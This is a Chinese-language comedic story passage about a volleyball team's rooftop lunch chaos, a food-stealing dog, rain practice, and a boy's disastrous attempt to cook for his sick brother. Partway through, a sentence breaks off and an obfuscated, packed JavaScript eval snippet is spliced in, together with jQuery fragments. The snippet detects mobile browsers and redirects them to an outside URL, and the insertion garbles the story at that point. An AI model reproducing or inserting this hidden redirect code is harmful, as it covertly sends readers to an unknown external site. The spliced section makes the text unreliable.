早川茜的怒吼如闹钟刺穿体育馆，建人正用美咲的草莓围裙擦汗——今早被金太郎叼来当“战旗”，挂在球网上随风飘扬。
“接球姿势比金太郎睡相还烂！”
早川的战术板擦着建人耳尖飞过，精准砸中偷懒的田中，“特别是你！魔圆男！”
田中太郎扶正被砸歪的痛T领口：“根、根据晓美焰的时间理论，休息五分钟能提升200%效率…”
“那就穿越时间去捡球！”早川甩来一筐排球，田中被淹没前发出最后悲鸣：“Madoka——！”
西园寺隼人趁机补妆：“早川前辈的声波攻击让皮肤水分蒸发0.3%呢~”
铃木润翘着兰花指递上防晒喷雾：“茜酱~试试SPF50+的战术板？”
“滚。”早川冷冷一字。
正午的太阳像美咲的平底锅扣在大阪上空。
市立三中天台铁门被踹开，六个饿鬼裹挟汗味与杀气席卷而入。
金太郎冲在最前，狗爪在水泥地上划出火星——显然把送饭任务当成了缉毒犬特训。
“占领阴凉处！”早川双马尾一甩，战术板拍在蓄水箱上划分领地，“田中，你再把《魔圆》周边铺满餐区，我就用你当人肉餐垫！”
田中抱紧痛包缩进角落：“这、这是晓美焰的绝对防御结界…”
西园寺优雅铺开蕾丝野餐布，动作像在走秀。
便当盒掀开，胡萝卜雕成玫瑰，玉子烧卷成银河铁道，炸鸡块裹着金箔纸，全体雄性瞳孔地震。
“紫外线指数4.2，”他掏出紫外线检测仪，“露天用餐会加速胶原蛋白流失哦~”
建人把便利店饭团砸过去：“闭嘴吧贵族！你的便当够我三个月零花钱！”
木村修平僵尸般挪到阴影，掏出三罐黑咖啡：“这是…我的午饭…”
“活着真辛苦你了。”建人掀开便当盒，美咲特制暗黑咖喱散发核废料气息，焦黑鸡块在酱汁里载浮载沉，边缘粘着疑似锅铲碎屑。
山本大辅顶着“一生悬命”头带挤来：“我、我带了腌梅干…”
“谢了武士男！”建人抢过梅干塞进嘴，酸得脸扭成《呐喊》名画，“能中和美咲姐的杀人咖喱！”
铃木润闪现，伪娘音甜得发腻：“建人君尝尝人家的爱心便当？”
粉红饭盒里，章鱼香肠戴蝴蝶结，饭团捏成猫爪。“讨厌啦酱汁不小心写成你的名字了~”
“你拿番茄酱写‘建人LOVE’算哪门子不小心！”建人咆哮。
金太郎狗鼻抽动，捕猎姿态扑向西园寺的玉子烧银河铁道。
“住口！那是限量款海苔！”西园寺惨叫中，金太郎叼走金星玉子烧，尾巴扫飞防晒霜瓶。
瓶子划出完美弧线，坠入建人的死亡咖喱。
“我的CPB防晒霜！限量版！”西园寺扑向便当盒。
建人舀起泡在咖喱里的防晒霜：“现在是SPF1000+抗紫外线咖喱，要不要…”
“去死吧庶民！”西园寺崩溃。
混战中，金太郎跃上水箱，狗爪拍击铁皮如战鼓轰鸣。
众人抬头，看见它嘴里叼的纸条随风狂舞——美咲潦草字迹混着狗口水晕开：“健太烧复发，老娘被连锁店混蛋灌酒，今晚你照顾他！敢饿死我弟就塞进鲭鱼箱！PS：金太郎狗粮在冰箱第三层（敢喂它咖喱等死吧）”
空气凝固三秒。“完蛋了…”建人捏着纸条手抖，“美咲姐的杀人料理我还能应付，照顾病人…”
早川鬼魅闪现：“用你拦网时1%的智商就够了。”
铃木润切换伪娘音：“人家可以做病号餐哦爱心粥加满LOVE”
山本猛举手：“我、我会煮白粥！”
“你上次煮粥把消防队招来了！”田中吐槽。
趁乱，金太郎开启第二轮扫荡，拍飞西园寺的银河铁道，叼走木村最后一罐咖啡，最后把早川私藏的章鱼烧拱到建人脚边。
“死狗！那是我的战术分析经费！”早川飞扑抢食，双马尾糊了建人一脸。
西园寺捧着支离破碎的便当啜泣：“我的星座主题摆盘…”
田中趁机把晓美焰贴纸粘在早川后背：“这样就能获得时间回溯能力…”
金太郎跃上护栏，对着操场棒球部发出战嚎。
众人顺狗爪望去，暴雨云以扣杀速度逼近，闷雷滚滚。
“下午特训改抗雨作战。”早川推眼镜反光，“建人，你的量子力学时间到了。”
“别随便给我加设定！”建人抗议。
上课铃撕裂天空，天台沦为战场。建人SPF咖喱糊在田中痛T上成抽象艺术，铃木的爱心便当成金太郎战利品，西园寺对着防晒霜空瓶默哀，木村在咖啡因缺失中化作真·僵尸。
“诸君，”早川站在狼藉中举战术板，“今日浪费食物者——”
“加练五十个接发球！”全员条件反射接话。
金太郎配合吠叫，尾巴扫飞最后一块玉子烧。建人望向云层翻卷的天空，忽而想起健太烧糊涂的呢喃。
他踹了脚偷吃的金太郎：“走了死狗！晚上伺候病号呢！”
暴雨倾盆，少年们的哀嚎与狗吠混成夏日交响曲。
美咲的纸条在积水中漂浮，咖喱渍晕成大阪湾地图。
（此刻金太郎胃里：玉子烧×3、章鱼烧×5、防晒霜×1，正酝酿史上最贵的狗粮反刍事件）
体育馆屋顶漏雨成天然瀑布，早川站在“水帘洞”前发令：“山本负责头球区！田中cos巴麻美接球！建人——”
“知道！量子波动接球法！”建人抢答。
西园寺掏出防水发胶：“我的发型防御结界能坚持20分钟！”
铃木润在雨中旋转：“看我的美少女战士净化之雨~”
木村僵尸跳接球：“咖啡因…我需要更多咖啡因…”
建人被早川的杀人发球逼到墙角，忽瞥窗外——金太郎叼着健太的棒球帽蹲在操场，尾巴甩出残影。
“死狗！那是健太的宝贝！”建人翻窗追出，早川的怒吼混着雷声：“敢逃训就公开你的女装毕业照！”
建人泥猴般爬回时，全员躺成大字型喘气。
早川的战术板泡成海带，西园寺的发型塌成鸟窝，田中的痛T成抽象涂鸦。
“我拍了丑照哦~”铃木润晃手机，“想要封口费…”
“删除！”众人飞扑，引发二次混战。
暴雨渐歇，金太郎把健太的棒球帽放回建人头顶。早川甩来湿透的笔记本：“你弟通宵分析的佐藤数据。”
建人翻开扉页，健太烧糊涂时画的Q版全家福——美咲举锅铲，铁平醉醺醺，自己穿草莓围裙拦网，角落写着：“就算大雨把世界颠倒，我会给你最牢的网。”
“肉麻死了…”建人塞进裤兜，耳尖通红，“走了金太郎！回家伺候病号！”
晚上七点的町屋厨房如台风灾后现场。建人系着美咲的草莓围裙——下摆沾着三年前的章鱼烧酱——对冰箱里诡异食材发呆。
金太郎蹲在破微波炉上监工，狗爪旁是美咲用口红写的警告：“敢烧厨房就宰了你！”
“速食咖喱…鸡蛋…美咲姐特制杀人梅干…”建人拎出半包疑似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529081|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过期的乌冬面，“决定了！病人吃暖呼呼的乌冬面！”
金太郎发出质疑呜咽。不锈钢锅砸在灶台，惊飞窗外乌鸦。建人开煤气灶像拆炸弹：“小火…美咲姐说小火…”火苗“轰”窜起半米，他抄起锅盖当盾牌。
乌冬面下锅时，早川的战术分析在脑内播放：“佐藤翔阳的扣杀角度等于水面张力系数…”
“这和煮面有啥关系！”建人搅得面条成量子纠缠态，“水放多少来着？”金太郎拍冰箱门，建人转身撞翻味醂瓶，琥珀色液体在围裙上晕染抽象地图。
“死狗！绝对故意的！”建人怒吼。
平底锅冒烟时，建人想起铁平的飙车技巧：“像甩尾一样甩锅！”他猛晃手腕，鸡蛋划出抛物线——精准落入金太郎大张的狗嘴。
“吐出来！那是病人的营养！”一人一狗上演锁喉战，直到第二颗蛋在灶台炸成焦黑太阳。
“成功了！”建人举起边缘碳化中心稀软的煎蛋，“至少比美咲姐的杀人咖喱强！”
端着杰作冲进卧室，健太正用左手写作业，右手绑着退热贴。
“吃吧！荒巻特制病号套餐！”健太盯着碗里泡发的乌冬面：焦黑煎蛋如陨石漂浮，梅干在浑浊汤底若隐若现，边缘粘着疑似狗毛。
“哥…”
“感恩的话免了！”
“你煮面不拆包装袋？”建人低头，塑料包装在汤里优雅舒展。
金太郎叼走煎蛋，尾巴扫翻酱油瓶，在榻榻米画出东京地铁线路图。最终出现在健太面前的是建人狂奔三条街买的便利店便当。
海苔饭团捏成歪扭爱心，微波炉加热的关东煮冒着可疑气泡。
“这是三文鱼饭团…”
“是章鱼烧味！”
“包装写着鲔鱼…”
“闭嘴吃！”建人咆哮。
金太郎把偷藏的煎蛋拱到健太腿边，被建人用《排球月刊》拍飞：“病人不能吃狗粮！”
“这是你做的煎蛋…”
“所以更不行！”
十点的月光漏进窗棂，健太突然开口：“哥…”
“敢说难吃就揍飞你。”
“米粒粘脸上了。”建人胡乱抹脸，饭粒甩到金太郎鼻尖，狗爪拍榻榻米像在鼓掌。
建人戳着冷掉的关东煮，抬头：“你不回青空学园训练真没事？你们教练会杀了你吧？”
健太放下笔，左手无意识做出握球姿势：“从昨天18点到现在，我分析了最近天见30场扣杀录像。”
他点开手机，3D建模图上暴雨中的击球轨迹如蛛网绽放，“雨天他的斜线球概率提升27%，但挥臂速度下降0.3秒。”
“所以？”
“我的大脑正进行1600次/分钟的模拟投球。”健太指着太阳穴，“比实地训练效率高11%。”
建人抢过手机，屏保是金太郎穿棒球服：“你连休息都在算计数据？”
“合格的投手要利用伤病期。”健太把最后一块萝卜塞给金太郎，“就像你接发球时——”
“停！禁止棒球说教！”
建人甩上草莓围裙，“我去煮第2.5碗爱心泡面！”
金太郎咬住裤脚，狗眼瞥向厨房——浓烟从门缝渗出。
“你这死狗！烧焦了不早说！”
（此刻健太手机屏幕暗下去，倒映出0.1度笑意——比甲子园阳光更珍贵的，是有人为他烧毁厨房）
美咲的Line适时传来东京塔夜景：“活着吗？”建人回传健太熟睡的照片，背景是厨房灾后现场。
这个夜晚，连月亮都笑出了眼泪。